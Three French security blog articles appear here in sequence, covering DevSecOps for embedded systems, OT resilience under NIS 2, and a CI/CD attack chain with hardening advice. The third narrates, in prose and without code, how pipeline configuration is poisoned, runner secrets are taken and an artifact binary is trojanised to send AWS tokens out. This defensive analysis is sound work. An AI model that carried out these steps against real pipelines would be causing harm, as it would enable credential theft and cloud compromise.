Le DevSecOps, en étendant les principes du DevOps à la sécurité, a pour objectif d’intégrer la sécurité by design et de l’automatiser à chaque étape du cycle de développement et opérationnel d’un projet. Il apporte ainsi pour chaque partie prenante du projet une responsabilité vis à vis de la sécurité qui doit l’intégrer dans leurs process. L’objectif principal est d’avoir un cycle de livraison du produit plus rapide et de rétroaction plus court, tout en prévenant les failles de sécurité en production et donc d’avoir un coût global réduit. 

Des systèmes embarqués de plus en plus connectés et de plus en plus nombreux au sein de vos écosystèmes…

Un système embarqué est un objet contenant des éléments numériques, il est composé d’une partie matérielle et logicielle ayant une connexion de données directe ou indirecte, logique ou physique, avec un appareil ou un réseau. La prolifération des systèmes embarqués dans le monde actuel (22,3 milliards de connexions IoT fin 2025 et plus de 47 milliards attendues en 2031 selon l’Ericsson Mobility Report de juin 2026) élargit la surface d’attaque, et ces objets sont de plus en plus visés : selon le 2026 Cyber Protect Report de SonicWall, les attaques ciblant l’IoT ont progressé de 11 % en 2025. Des secteurs critiques comme l’automobile, l’aéronautique, la santé ou l’énergie sont directement concernés. 

… mais aussi de plus en plus vulnérables 

Les systèmes embarqués deviennent la cible d’attaques exploitant aussi bien les failles des piles logicielles embarquées que les vulnérabilités des communications réseau, notamment lorsque les mécanismes de chiffrement ou d’authentification sont insuffisants. L’absence de vérification de l’intégrité du firmware et le manque de suivi des composants tiers, propriétaires ou open source, constituent également des points de fragilité. Par ailleurs, lorsque l’accès matériel est possible, les interfaces physiques (ports de débogage, bus internes, etc.) représentent des vecteurs d’attaques supplémentaires. Enfin, les processus de mise à jour, de déploiement et d’approvisionnement logiciel s’imposent comme des maillons critiques : la compromission d’un firmware, d’une mise à jour OTA ou d’un élément de la supply chain peut permettre l’introduction de code malveillant au cœur même du système. 

Ainsi, la surface d’attaque des systèmes embarqués ne se limite plus à un composant isolé, mais s’étend à l’ensemble de leurs briques logicielles, matérielles, de communication et de chaîne d’approvisionnement, renforçant leur vulnérabilité au sein d’écosystèmes toujours plus interconnectés. 

Il est donc critique d’intégrer le plus efficacement possible la sécurité dans les systèmes embarqués.

Pourquoi le DevSecOps permet de relever les défis de sécurité actuels pour l’embarqué ? 

La mise en œuvre d’une approche DevSecOps dans le développement de systèmes embarqués est une solution face à ces enjeux, en apportant de l’agilité dans le développement. Concrètement, cette approche permet de : 

1. Anticiper, prévenir et répondre plus efficacement aux failles de sécurité 
   • Grâce à une intégration continue de la sécurité, les failles sont détectées beaucoup plus tôt dans le cycle de vie du produit, souvent avant même que le code ne soit déployé sur le matériel. Par exemple, des analyses statiques ou des scans de dépendances automatisés peuvent repérer une vulnérabilité dès la phase de développement, évitant ainsi des correctifs coûteux une fois le produit sur le terrain. 
2. Anticiper, prévenir et répondre plus efficacement aux attaques
   •  La démarche permet aussi de réagir plus vite lorsqu’une attaque survient. L’inventaire des composants logiciels (SBOM) permet d’identifier immédiatement les produits concernés, la centralisation des logs facilite la détection d’un comportement anormal, et le pipeline automatisé permet de livrer un correctif testé et signé par une mise à jour à distance (OTA), sans attendre le prochain cycle de livraison. 
3. Intégrer de la sécurité en tant que code via des outils d’automatisation 
   • Cela signifie que les politiques, tests et contrôles de sécurité deviennent eux aussi automatisables et versionnables, au même titre que le code applicatif. Les outils d’analyse, de signature, de composition logicielle ou de tests de conformité peuvent être intégrés directement dans la chaîne CI/CD, garantissant que chaque build passe par des vérifications systématiques et reproductibles.

Cette automatisation change la donne : elle permet aux équipes embarquées de sécuriser leur produit sans dépendre exclusivement d’audits manuels ou de validations externes.

De plus, corriger une faille découverte en production peut coûter 29 à 1500 fois plus cher que si cette faiblesse avait été identifiée dès les premières phases de conception, selon une étude de la NASA. Cette approche conduit donc naturellement à une réduction globale des coûts liés à la sécurité.

Une adoption qui demande plus qu’un simple changement d’outils 

Cependant, la théorie se heurte à la réalité : l’application du DevSecOps aux systèmes embarqués fait face à des contraintes différentes de celles rencontrées dans l’IT classique : 

Des contraintes matérielles

Là où les infrastructures cloud peuvent être redimensionnées et corrigées presque instantanément, les contraintes de mémoire et de puissance de calcul en embarqué rendent ces opérations beaucoup plus difficiles. Un logiciel embarqué doit être optimisée, ce qui complique l’intégration d’outils de sécurité souvent conçus pour des environnements plus puissants. 

 À cela s’ajoute une diversité matérielle importante : il existe nombreux systèmes d’exploitation, architectures ou outils de compilation différents qui ont leurs applications propres. Il est donc bien plus complexe de mettre en place une approche DevSecOps uniforme. 

Des contraintes de mises à jour 

Les mises à jour sécurisées Over-The-Air (OTA) constituent un autre point sensible : elles doivent être fiables, authentifiées et capables de revenir à une version précédente (rollback) en cas d’échec. Si un serveur peut être patché en quelques secondes, un équipement embarqué nécessite quant à lui une logistique de déploiement bien plus lourde.

De plus, les systèmes isolés (sans connectivité fiable ou continue), posent un défi supplémentaire. Il est en effet complexe de leur transmettre les mises à jour de façon fiable et sécurisée. 

Quant aux systèmes intégrés en production, leur mise à jour implique souvent des arrêts. Il est donc nécessaire de minimiser l’interruption, de garantir une reprise immédiate et de s’assurer que la mise à jour n’impactera pas la continuité opérationnelle une fois déployée. 

Des contraintes réglementaires 

Les enjeux réglementaires sont également de plus en plus importants. Des textes comme le CRA en Europe imposent des exigences de sécurité strictes pour les objets connectés, comme la garantie de mises à jour de sécurité pendant plusieurs années. Dans le domaine automobile, la réglementation UNECE R155 impose la mise en place d’un management continu des risques, des tests réguliers de sécurité, tandis que l’UNR156 et le Software Update Management System imposent des processus de mise à jour sécurisés. Ainsi, l’hétérogénéité des normes selon les secteurs industriels, le manque d’outils adaptés, les limitations matérielles et logicielles complexifient la définition d’une stratégie DevSecOps unifiée. 

Des contraintes organisationnelles 

Enfin, il existe des défis humains et organisationnels : les équipes embarquées ne disposent pas toujours de profils spécialisés en cybersécurité, et les rôles de Security Champions (relais sécurité au sein des équipes produits) sont encore rares. Il faut donc investir dans la formation, la sensibilisation et la collaboration entre développeurs, testeurs et ingénieurs systèmes. 

Tous ces facteurs rendent le retour sur investissement difficile à estimer. Les coûts initiaux en outils, en formation et en temps d’intégration peuvent paraître élevés, alors que les bénéfices (réduction du risque, meilleure résilience, conformité) ne se mesurent souvent qu’à long terme. 

Autrement dit, appliquer les pratiques DevSecOps à des systèmes aussi contraints nécessite d’adapter les outils, les processus, et parfois même la culture d’équipe.

Surmonter les difficultés grâce à une feuille de route claire et des technologies adaptées 

Heureusement, ces obstacles ne sont pas insurmontables : il existe aujourd’hui des solutions concrètes pour accompagner la mise en œuvre du DevSecOps dans l’embarqué. Des outils modernes comme les systèmes de build automatisés (Yocto, Buildroot, etc.), les plateformes CI/CD intégrées ou encore des services SaaS spécialisés, permettent de sécuriser le cycle de développement sans alourdir les contraintes matérielles. 

L’approche la plus efficace consiste à avancer par étapes, en commençant par automatiser les tâches les plus répétitives et à forte valeur ajoutée (analyse statique du code, signature automatique des images, génération de SBOM, etc.), puis en intégrant progressivement des outils de contrôle de sécurité adaptés à l’environnement cible. L’objectif n’est pas d’être parfait tout de suite, mais d’améliorer continuellement la sécurité. 

L’intelligence artificielle décuple par ailleurs ces possibilités d’automatisation : tri et priorisation des alertes remontées par les analyses statiques, proposition de correctifs, génération de tests unitaires ou de scénarios de fuzzing, assistance à la revue de code. Ces usages ne dispensent pas d’une validation humaine, mais ils réduisent l’effort demandé aux équipes et rendent la démarche plus accessible. 

En parallèle, instaurer une culture de collaboration et de montée en compétences, par exemple en désignant des référents sécurité et en s’appuyant sur des formations spécifiques, facilite l’appropriation des nouvelles pratiques.

Ainsi, avec une feuille de route claire, des choix technologiques adaptés et une sensibilisation importante des responsables des équipes produit, il devient possible de franchir ces barrières techniques et organisationnelles, et de tirer pleinement parti des bénéfices du DevSecOps dans l’embarqué.

En définitive, le DevSecOps ne représente pas une contrainte de plus pour l’embarqué, mais un changement indispensable qui doit s’opérer de façon progressive et maîtrisée. Il est essentiel d’accepter cette évolution comme une opportunité de renforcer durablement la sécurité tout en accompagnant les équipes dans cette transformation. 

Cet article Comment le DevSecOps peut transformer la sécurité des systèmes embarqués ? est apparu en premier sur RiskInsight.

Ce chiffre révèle un changement profond : les sauvegardes, souvent considérées dernier recours, sont désormais des cibles à part entière. Face à une cyberattaque majeure, les plans de continuité traditionnels ne suffisent plus. En effet, ils ne fonctionnent pas en milieu industriel, notamment via la nature des enjeux : sécurité physique, impact environnemental, production continue, etc.

C’est pourquoi les organisations les plus avancées construisent aujourd’hui des programmes de cyber-résilience OT dédiés, conçus pour gérer la crise face à une perturbation ou un incident majeur, assurer la continuité des activités essentielles et restaurer les éléments altérés.

La Directive NIS2, notamment le référentiel RECYF de l’ANSSI, vient supporter cet effort en intégrant des obligations claires sur la cyber-résilience pour les entités essentielles et importantes.

Par où commencer, quels obstacles anticiper, et comment bâtir une résilience OT à la hauteur des exigences de NIS 2 ?

NIS 2 et la résilience industrielle : exigences et état des lieux

Ce que NIS 2 impose concrètement

L’intégration croissante de l’IT dans les processus industriels (MES, ERP connectés aux lignes, abandon progressif des processus papier) a profondément modifié la réalité opérationnelle des usines. Les dépendances sont nombreuses, souvent mal cartographiées, et une défaillance IT peut bloquer l’OT même lorsque les équipements physiques sont intacts. A ce titre, la capacité des milieux industriels à être plus résilient aux attaques cyber apparaît comme un chantier prioritaire.

La directive NIS 2, élargit significativement le périmètre des entités soumises par rapport à sa version antérieure, et vise à adresser parmi ses priorités, la cyber-résilience des entités. Deux objectifs sont particulièrement structurants en matière de résilience :

Etat des lieux sur la cyber-résilience en milieu industriel 

Si les organisations industrielles ont progressivement investi dans la sécurisation de leurs environnements OT, la maturité sur la continuité et la reprise reste insuffisante pour répondre aux exigences de NIS 2. Plusieurs lacunes sont systématiquement observées :

• Manque de connaissance formelle des assets et de leur criticité :
  • Cartographie des actifs souvent non formalisé ou incomplet
  • BIA absent ou partiellement réalisé
• Les PCA métiers existants sont conçus pour des scénarios physiques ou IT traditionnels mais pas pour des enjeux cyber OT
• Les capacités de continuité et de reprise ne sont pas testées : les organisations se limitent à des tests unitaires ou des restaurations de VM isolées, sans jamais couvrir une ligne de production complète ou un scénario bout en bout. Plusieurs facteurs expliquent cette situation :

Sans maturation sur ces sujets, un incident cyber peut se traduire par des semaines d’arrêt. 

Par où commencer pour bâtir une résilience OT à la hauteur de NIS 2 ?

Fondations et prérequis

Avant de construire un plan de reprise ou de tester quoi que ce soit, il faut établir les fondations : définir ce qu’on protège, définir comment l’activité se maintient en cas d’incident, et déterminer ce qui doit être sauvegardé. 

Quels acteurs intégrer au démarrage ? 

Un programme de cyber-résilience piloté uniquement par les équipes Cyber ou IT risque de ne pas refléter les réalités opérationnelles et de ne pas répondre aux véritables enjeux métiers : sans la participation et compréhension de l’enjeu par les opérateurs, le chantier aura du mal à avancer. Cela passe par une phase d’évangélisation : expliquer concrètement ce qu’un incident coûte à leur activité, et identifier dès le départ les bons interlocuteurs dans chaque direction.

Quels périmètres métiers prioriser ? 

L’objectif pour la cyber-résilience n’est pas de produire un inventaire exhaustif du parc industriel. Il s’agit d’identifier les actifs qui portent les processus critiques pour l’activité. Le point de départ est de créer un PCA à l’échelle de l’entreprise, puis un BIA à l’échelle des sites qui permettront de définir les DMIA et PRD par processus critique. 

La collecte s’appuie sur une approche hybride : 

• Entretiens opérationnels avec les équipes terrain 
• Exploitation des documents d’architecture et des configurations afin d’identifier les dépendances supplémentaires 

Les sondes peuvent apparaître comme un bon choix mais elles ne détectent que les assets qui émettent du trafic. Un équipement qui ne communique pas à un instant T disparaît de la cartographie. En OT, bon nombre d’équipements sont configurés une fois puis fonctionnent en autonomie, ce qui limite fortement leur visibilité réseau. De plus, certains systèmes sont totalement standalone et n’émettent aucun trafic, alors même qu’ils peuvent être critiques pour l’activité. Se reposer uniquement sur des sondes donne donc une vision partielle et parfois trompeuse de l’environnement, avec un risque réel de passer à côté d’équipements essentiels. 

Quelles données sauvegarder et comment ? 

La cartographie permet de recenser et prioriser les systèmes à protéger en fonction de leur criticité validée avec les équipes métiers. Ensuite, pour chaque asset, on définit le contenu minimum à sauvegarder et leur fréquence : 

Indépendamment de la fréquence planifiée, il est recommandé d’effectuer une sauvegarde après tout changement majeur afin de limiter la perte de configuration en cas d’incident. 

Plusieurs principes structurent ensuite la stratégie de sécurisation des sauvegardes : 

• Redondance, chiffrement, et immuabilité des sauvegardes 
• Air-gapping pour les environnements les plus sensibles 
• Politique de rétention différenciée par type d’actif
• Clauses contractuelles encadrant les obligations de sauvegarde des tiers 

Les infrastructures de sauvegarde ne sont pas de simples supports techniques : elles constituent elles-mêmes des cibles sensibles et doivent être traitées comme des systèmes critiques, avec le niveau de protection approprié. 

Comment assurer la continuité en cas d’incident ? 

La première étape du PCA consiste à identifier les scénarios de crise à adresser, car ceux-ci déterminent les interlocuteurs à impliquer, les procédures à définir et les modes de fonctionnement à adopter. Ce travail est mené conjointement avec les équipes HSE, métiers, cybersécurité, risk management. 

Pour chaque processus critique identifié, il convient ensuite de définir, avec les équipes production, maintenance, et qualité : 

Validation et reprise 

Comment valider le fonctionnement de la reprise ? 

Un PRA non testé est un PRA théorique.

Les tests peuvent être effectués, pour limiter l’impact sur la production : 

• Sur une infrastructure globale de test, mutualisée entre les différents sites, 
• Sur une ligne de test, 
• Pendant les fenêtres de maintenance, 
• En utilisant des jumeaux numériques. 

Ces tests doivent être validé au minimum une fois par an. 

La progression est graduelle :

Chaque test est documenté : DMIA et PRD réels mesurés, comparaison avec les cibles théoriques, écarts identifiés, actions correctives planifiées. 

Les objectifs de DMIA/PRD peuvent ne pas être réalistes dans le contexte d’une crise cyber majeure. Ils ne doivent donc pas constituer un facteur bloquant pour la réalisation des tests ni pour la validation des principes de cyber‑résilience au sens de NIS2. 

Comment reconstruire après un incident ? 

Le PRA définit comment redémarrer les systèmes critiques après un sinistre. Il couvre plusieurs scénarios : panne matérielle, ransomware, perte du réseau OT. 

Pour chaque scénario, il est nécessaire de : 

• Définir le séquençage de redémarrage selon les dépendances entre systèmes 
• Documenter la chaîne d’escalade et de décision 
• Définir clairement l’implication des tiers : conditions d’intervention, modalités de coordination, et exigences préalables de sécurisation (éradication du ransomware, environnement contrôlé type « salle blanche », reprise progressive avec cloisonnement) 

Deux logiques de reprise doivent être distinguées : la perte de disponibilité (bascule vers des ressources de secours) et la perte d’intégrité (reconstruction complète depuis les sauvegardes). Les procédures ne sont pas les mêmes et doivent être traitées séparément. 

De la résilience des assets à la gestion de crise 

Ce que nous avons décrit ici constitue le socle minimum pour enclencher une démarche de reprise en environnement OT. Mais NIS 2 exige d’aller plus loin : c’est l’ensemble du SI qui est concerné, et la question n’est plus seulement technique, c’est celle d’un programme structuré, piloté dans la durée, capable de prouver la conformité et la résilience des assets. 

Cela implique de déployer cette démarche de façon pragmatique, en tenant compte des risques cyber, des contraintes réglementaires et des moyens disponibles. Cela implique aussi de ne pas en faire un projet ponctuel : la cyber-résilience doit être intégrée par design, avec des chantiers suivis, des preuves documentées, et des équipes métier embarquées sur le long terme. 

Enfin, le marché propose aujourd’hui des solutions dédiées à la résilience OT. Une veille active sur ce sujet peut s’avérer précieuse pour identifier les outils adaptés. 

Par ailleurs, la résilience ne s’arrête pas à la reprise technique, elle intègre aussi la gestion de crise : Repenser sa stratégie de préparation à la gestion de crise d’origine cyber – RiskInsight

Glossaire 

Cet article Cyber-résilience industrielle : par où commencer face à NIS 2 ? est apparu en premier sur RiskInsight.

Les audits CI/CD réalisés en 2025 et 2026 ont révélé que des identifiants exposés dans des dépôts, des runners mal configurés, des stockages d’artefacts non sécurisés et des rôles cloud trop permissifs constituent autant de vecteurs d’attaque que des acteurs malveillants peuvent exploiter afin d’obtenir un accès persistant et fortement privilégié à l’ensemble de l’infrastructure.

Une vue d’ensemble des outils DevOps est illustrée ci-dessous :

Une compromission à n’importe quelle étape du pipeline peut ouvrir une voie vers des systèmes plus sensibles.

Cet article décrit une chaîne d’attaque CI/CD représentative visant un environnement CI/CD, fondée sur des scénarios observés en conditions réelles. Il met en évidence les vecteurs d’attaque les plus couramment exploités ainsi que les principales mesures de durcissement permettant de réduire la surface d’attaque à chaque étape du pipeline, depuis le code source jusqu’au déploiement en production.

La chaîne d’attaque: de la reconnaissance à la persistance

Reconnaissance et accès initial

La chaîne d’attaque débute généralement par une attaque de phishing ciblant les développeurs afin de voler des identifiants et des codes MFA, bien que le MFA puisse lui-même être contourné via le vol de jetons d’accès ou de détournement de sessions.

Il convient de noter que la compromission d’identifiants seule n’est pas toujours suffisante pour accéder directement à des portails administratifs sensibles. Les contrôles de sécurité autour des interfaces d’administration Microsoft 365 ont été renforcés par des mécanismes de MFA ainsi que, le cas échéant, par des politiques d’accès conditionnel, limitant l’impact du phishing sur les accès hautement privilégiés.

Cependant, dans les environnements d’entreprise modernes où la majorité des applications reposent sur le Single Sign-On (SSO), la compromission d’une session Microsoft (par exemple via le vol de cookies de session) peut donner aux attaquants accès à un large éventail de services interconnectés, incluant les dépôts de code et les plateformes CI/CD. Les attaquants utilisent généralement ce point d’entrée initial pour identifier les environnements de développement et établir une persistance via des mécanismes tels que les Jetons d’accès personnels (PAT).

Un risque souvent négligé survient lorsqu’un compte utilisateur est désactivé au niveau du fournisseur d’identité (ex. Entra ID) mais n’est pas entièrement désactivé dans les plateformes de dépôt. Dans ce cas, des PATs précédemment émis peuvent rester valides, permettant à un attaquant de conserver un accès malgré la révocation du compte.

D’autres vecteurs d’entrée incluent l’exploitation de CVE connues ainsi qu’une mauvaise gestion des identifiants. De nombreuses vulnérabilités majeures sur les outils DevOps sont régulièrement découvertes, ce qui souligne la nécessité d’une gestion continue des vulnérabilités. L’exploitation d’une vulnérabilité critique peut directement fournir un accès privilégié à un outil de la chaîne.

Exemples :

• CVE-2024-23897 (Jenkins), permettant à des attaquants non authentifiés de lire des fichiers arbitraires présents sur le contrôleur Jenkins, exposant ainsi des secrets sensibles,
• CVE-2023-7028 (GitLab), dans laquelle les emails de réinitialisation de mot de passe pouvaient être envoyés vers une adresse électronique non vérifiée.
• CVE-2023-36561 (Azure DevOps Server), une vulnérabilité d’élévation de privilèges permettant à un attaquant d’obtenir un accès non autorisé à certaines fonctionnalités d’Azure DevOps Server, avec un impact potentiel sur les pipelines, les secrets et les ressources des projets.

REMÉDIATION – Renforcer les contrôles d’accès aux dépôts de code source

Afin de réduire les risques liés à l’accès initial, les organisations doivent mettre en œuvre des contrôles permettant d’empêcher les accès non autorisés, de détecter les mécanismes de persistance et de renforcer la gouvernance des identités.

Appliquer des politiques d’accès strictes et réduire l’exposition réseau

• Eviter l’utilisation des comptes génériques ou partagés,
• Utiliser des identités développeurs dédiées, séparées des comptes bureautiques standards (messagerie et outils collaboratifs), afin de réduire l’exposition au phishing et l’impact d’une compromission dans les environnements CI/CD,
• Imposer des mécanismes MFA résistants au phishing (clés FIDO2, certificats, etc),
• Mettre en place des politiques d’accès conditionnel basées sur des critères contextuels (localisation réseau, conformité des appareils).

Mettre en place des mécanismes de détection de persistance

• Surveiller la création ou l’utilisation suspecte de PAT dans GitLab, ainsi que les activités anormales (ex. déploiements à des horaires inhabituels),
• Surveiller l’ajout de nouvelles méthodes d’authentification dans Entra ID, notamment les méthodes sans mot de passe, après un événement de phishing.

Réviser périodiquement les accès et supprimer les comptes inutilisés

• Désactiver ou supprimer les comptes inutilisés ou inactifs,
• Révoquer les accès des collaborateurs sortis de l’organisation sur tous les systèmes,
• Réaliser des revues d’accès périodiques, au minimum tous les six mois pour les utilisateurs à risque élevé.

Compromission des dépôts de code et des pipelines

Les dépôts de code sont souvent directement intégrés aux pipelines CI/CD, ce qui signifie que toute modification du code peut déclencher automatiquement des processus de build et de déploiement. Ainsi, la compromission d’un compte développeur peut influencer la manière dont les applications sont construites et déployées.

Pour réduire le risque de modifications non autorisées en production, les organisations protègent généralement les branches de production (ex. main ou master) via des pull requests, des validations et des contrôles automatisés. En revanche, les branches de développement sont souvent moins strictement contrôlées afin de favoriser la rapidité de développement et de test.

Dans le scénario observé, l’attaquant cible la branche de développement et modifie le fichier de configuration du pipeline (gitlab-ci.yml), en y injectant une commande malveillante (visant à établir un accès distant) au sein d’un job existant. Lors de l’exécution du pipeline, cette commande est exécutée sur le runner CI/CD, ce qui permet à l’attaquant d’obtenir un accès distant à ce dernier.

Une fois dans le runner CI/CD, l’attaquant peut alors exécuter du code arbitraire sur le runner CI/CD et, entre autres, énumérer les variables d’environnement contenant des paramètres de configurations et les secrets définis dans le projet GitLab.

Cependant, il arrive que certains composants de la chaîne CI/CD ne sont pas dupliqués entre environnements pour des raisons de coûts. Dans ce cas précis, les secrets GitLab ne sont pas segmentés entre les environnements de production et de développement. Ainsi l’attaquant est en capacité de lister les secrets de production depuis le runner CI/CD de développement.

Un exemple de variables d’environnement rencontrées dans les pipelines CI/CD est présenté ci-dessous.

Ce flux d’attaque montre comment la manipulation de pipeline permet l’exécution de code dans le runner et l’extraction de variables sensibles de production depuis un environnement de développement.

Parmi les identifiants récupérés dans l’environnement CI/CD compromis, l’attaquant obtient un jeton d’accès à Nexus, système de gestion d’artefacts utilisé pour stocker et distribuer les artefacts de build de confiance consommés par les pipelines situés en aval.

REMÉDIATION – Durcir la sécurité des dépôts de code

La sécurisation du dépôt de code est essentielle pour empêcher l’exploitation des pipelines CI/CD après un accès initial, car les dépôts contrôlent directement le build et le déploiement.

Durcir les dépôts pour limiter les déclenchements de pipeline

• Configurer des branches protégées pour les branches de déploiement,
• Mettre en place des workflows d’approbation multi-niveaux pour les merge requests déclenchant des pipelines et interdire l’auto-approbation,
• Utiliser la propriété du code (ownership) pour assigner et exiger l’approbation des responsables désignés sur les fichiers sensibles (ex. configuration CI/CD).

Limiter la visibilité et les permissions

• Limiter les droits d’écriture aux seuls utilisateurs qui en ont besoin,
• Restreindre la visibilité des projets selon le principe du besoin de savoir (interne ou privé recommandé).

Mettre en place une bonne hygiène de gestion des secrets

• Configurer des secrets CI/CD scopés au niveau projet et privilégier des identifiants éphémères,
• Détecter les secrets en clair le plus tôt possible (au moment du commit ou avant la publication du code) et les révoquer immédiatement en cas d’exposition,
• Réaliser des revues périodiques (ex. audits internes, exercices de red team) sur des plateformes telles que les dépôts Git, Jira ou Confluence afin d’identifier d’éventuelles fuites de secrets passées inaperçues.

REMÉDIATION – Renforcer la sécurité des runners auto-hébergés

Les runners sont des composants critiques des pipelines CI/CD car ils exécutent le code et manipulent des données sensibles. S’ils sont compromis, ils peuvent permettre des mouvements latéraux, l’accès aux secrets ou la prise de contrôle de l’environnement.

Réduire l’exposition réseau et le périmètre d’exécution

• Restreindre le trafic réseau des runners uniquement à ce qui est nécessaire à l’exécution des pipelines, et appliquer des contrôles réseau tels que des proxies et de la segmentation afin d’empêcher tout accès Internet non contrôlé et limiter les mouvements latéraux au sein des réseaux internes,
• Restreindre les déclenchements depuis des dépôts non fiables ou personnels.

Considérer les runners comme des systèmes sensibles

• Considérer les runners comme des serveurs critiques (Application régulière des correctifs du système d’exploitation et durcissement),
• Déployer des solutions de Endpoint Detection and Response (EDR) pour la surveillance des processus, y compris dans les environnements conteneurisés.

Utiliser des runners dédiés et éphémères

• Privilégier des runners dédiés par projet ou environnement. Le partage de runners entre plusieurs contextes augmente le risque de contamination inter-projets et d’escalade de privilèges,
• Utiliser des runners éphémères / autoscalés détruits après chaque job,
• S’assurer que les runners basés sur VM soient également éphémères et isolés afin qu’aucune donnée ou accès résiduel ne persiste entre les exécutions. En complément, s’appuyer uniquement sur des images de base durcies et de confiance (par exemple des golden images pour les runners VM et des images conteneurs approuvées), afin d’éviter toute exécution dans des environnements compromis ou non vérifiés.

Sécuriser les runners containerisés

• N’autoriser que des images approuvées et de confiance dans les exécutions de pipelines afin d’éviter l’introduction de code malveillant via des images compromises ou non vérifiées,
• Appliquer le principe du moindre privilège dans les environnements d’exécution conteneurisés,
• Éviter le mode privilégié et supprimer les capacités Linux inutiles,
• Utiliser des moteurs de build sécurisés (BuildKit / Buildah) lorsque le Docker-in-Docker est requis.

Durcir les runners cloud

• Lors de l’utilisation de runners managés dans le cloud, appliquer une isolation stricte et un périmètre d’identité, restreindre l’accès aux métadonnées afin d’éviter l’exposition d’identifiants depuis l’infrastructure sous-jacente, et s’assurer que les rôles CI/CD sont gouvernés par des politiques IAM strictes en moindre privilège afin d’éviter des permissions excessives.

Empoisonnement d’artefacts et attaques sur les dépendances

Dans les environnements de livraison logicielle, les systèmes de gestion d’artefacts stockent et distribuent les sorties générées par les pipelines CI/CD. Ces sorties, appelées artefacts, représentent les résultats packagés du processus de build, tels que des binaires compilés, des packages applicatifs ou des images de déploiement.

Les artefacts sont stockés de manière centralisée afin d’assurer le versioning, la traçabilité et la réutilisation à travers plusieurs pipelines. En plus des sorties spécifiques aux applications, ces dépôts hébergent souvent également des composants partagés tels que des golden images, des bibliothèques réutilisables ou des dépendances runtime communes. Comme ils proviennent de processus de build considérés comme fiables, les artefacts sont généralement supposés sûrs et largement consommés par les pipelines en aval sans validation supplémentaire.

Dans le scénario observé, l’attaquant utilise des identifiants précédemment obtenus pour s’authentifier au dépôt d’artefacts (Nexus dans cet exemple) avec des permissions excessives (lecture/écriture sur plusieurs catégories, plutôt que limitées à un périmètre applicatif unique), et obtient ainsi un accès à la fois aux artefacts de production et aux artefacts partagés.

Parmi ces derniers, l’attaquant identifie un binaire Terraform légitime utilisé dans le processus de déploiement d’infrastructure (appelé ici le binaire tofu), qui est couramment approuvé et consommé par les pipelines CI/CD pour provisionner et gérer les ressources cloud.

L’attaquant télécharge cet artefact localement et en modifie le contenu en injectant une logique malveillante tout en conservant sa fonctionnalité d’origine, et y intègre un comportement caché conçu pour interagir avec les services AWS Identity and Access Management (IAM) et AWS Security Token Service (STS) afin de récupérer des identifiants.

Le binaire modifié est ensuite téléversé de nouveau dans Nexus, remplaçant la version légitime par un artefact compromis.

À partir de ce moment, tout pipeline CI/CD consommant cet artefact récupère automatiquement le binaire compromis lors de la résolution des dépendances, car il est toujours considéré comme fiable.

Lors de son exécution, le binaire compromis active la charge malveillante intégrée, dont l’objectif est de récupérer le jeton d’accès AWS utilisé par le contexte d’exécution Terraform et de l’envoyer vers un serveur contrôlé par l’attaquant pour exfiltration. Il génère ensuite une sortie obfusquée encodée en Base32. Le décodage permet de reconstruire un objet JSON contenant des identifiants AWS (AccessKeyId, SecretAccessKey et SessionToken).

L’attaquant configure ensuite ces identifiants localement et utilise AWS STS (appel API GetCallerIdentity) pour confirmer l’usurpation d’identité du runner CI/CD.

Cette illustration montre la chaîne d’attaque : compromission d’artefact, injection de logique malveillante, propagation via les pipelines CI/CD et vol final d’identifiants AWS menant à la compromission de l’environnement.

En conséquence, l’attaquant obtient un accès non autorisé aux ressources AWS sous une identité légitime.

REMÉDIATION – Améliorer la gestion des accès à l’Artifactory

Les dépôts d’artefacts tels que Nexus sont des composants clés des pipelines CI/CD utilisés pour stocker et distribuer les dépendances et artefacts de build. Ce sont des cibles à forte valeur pour les attaques de chaîne d’approvisionnement.

La sécurité nécessite des contrôles d’accès forts, une gouvernance des dépendances et une surveillance continue de l’intégrité.

Durcir la plateforme d’artefacts

• Autoriser une large lecture du dépôt uniquement sous deux conditions : depuis le service nécessaire (CI/CD) et si une gestion de mots de passe dans les dépendances existe,
• Restreindre fortement les permissions d’écriture,
• Modifier les identifiants par défaut.

Analyse de composition logicielle (SCA)

• Appliquer une analyse de composition logicielle aux dépendances internes (stockées dans des dépôts locaux) ainsi qu’aux dépendances externes (récupérées depuis des dépôts distants ou proxy) afin de détecter les vulnérabilités connues et les composants obsolètes.

Restreindre les sources d’artefacts

• Maintenir une whitelist de dépôts de confiance afin de garantir que seules des sources approuvées sont utilisées,
• Appliquer des contrôles au niveau des dépôts pour exclure les versions non approuvées ou vulnérables, par exemple dans Nexus ou via des règles d’exclusion dans JFrog Artifactory,
• Empêcher les pipelines CI/CD d’accéder à des sources externes non fiables en imposant des frontières strictes entre dépôts.

Compromission cloud via abus des workloads CI/CD

Dans les environnements cloud, les runners CI/CD sont généralement associés à des rôles IAM privilégiés pour effectuer des opérations de déploiement, incluant la création, modification et suppression de ressources d’infrastructure. Ces rôles incluent souvent des permissions larges telles que AdministratorAccess ou des politiques personnalisées trop permissives, permettant au runner d’interagir avec un large ensemble de services AWS, incluant les services de calcul, le stockage et la gestion des identités.

Lorsqu’un runner CI/CD est compromis, un attaquant peut directement abuser de ces privilèges sans nécessiter d’escalade supplémentaire. Cela peut conduire à un accès immédiat à des ressources sensibles telles que des buckets S3 ou des bases de données RDS, permettant l’exfiltration de données. L’attaquant peut également exploiter les permissions IAM pour assumer d’autres rôles dans d’autres comptes ou projets AWS, facilitant les mouvements latéraux au sein de l’organisation. En outre, l’accès aux services de compute peut être utilisé pour déployer, modifier ou maintenir des charges malveillantes, aboutissant finalement à une compromission complète de l’environnement cloud.

De la compromission initiale du développeur à la prise de contrôle cloud : vue complète de la chaîne CI/CD

la chaîne d’attaque CI/CD commence par la compromission initiale du développeur jusqu’à la prise de contrôle complète de l’environnement cloud.

L’illustration suivante met en évidence les opportunités clés de détection et de surveillance à travers l’écosystème CI/CD. Elle montre comment les données de télémétrie de sécurité peuvent être collectées et corrélées tout au long des différentes étapes de la chaîne d’attaque CI/CD, depuis les activités de développement jusqu’aux runners CI/CD, aux dépôts d’artefacts et aux opérations IAM dans le cloud.

Dans l’ensemble, bien que les pipelines CI/CD élargissent significativement la surface d’attaque, ils offrent également de multiples points d’interception stratégiques où une journalisation centralisée et une surveillance de sécurité peuvent permettre une détection précoce et une réponse aux activités malveillantes.

En conclusion, pour obtenir un pipeline CI/CD sécurisé, la sécurité doit être pensée de bout en bout, des environnements développeurs jusqu’aux systèmes de production.

Les développeurs sont le premier maillon de la chaîne, et la sécurisation de leurs comptes est essentielle. Cela doit être complété par de bonnes pratiques telles que la gestion sécurisée des secrets et la sensibilisation régulière à la sécurité.

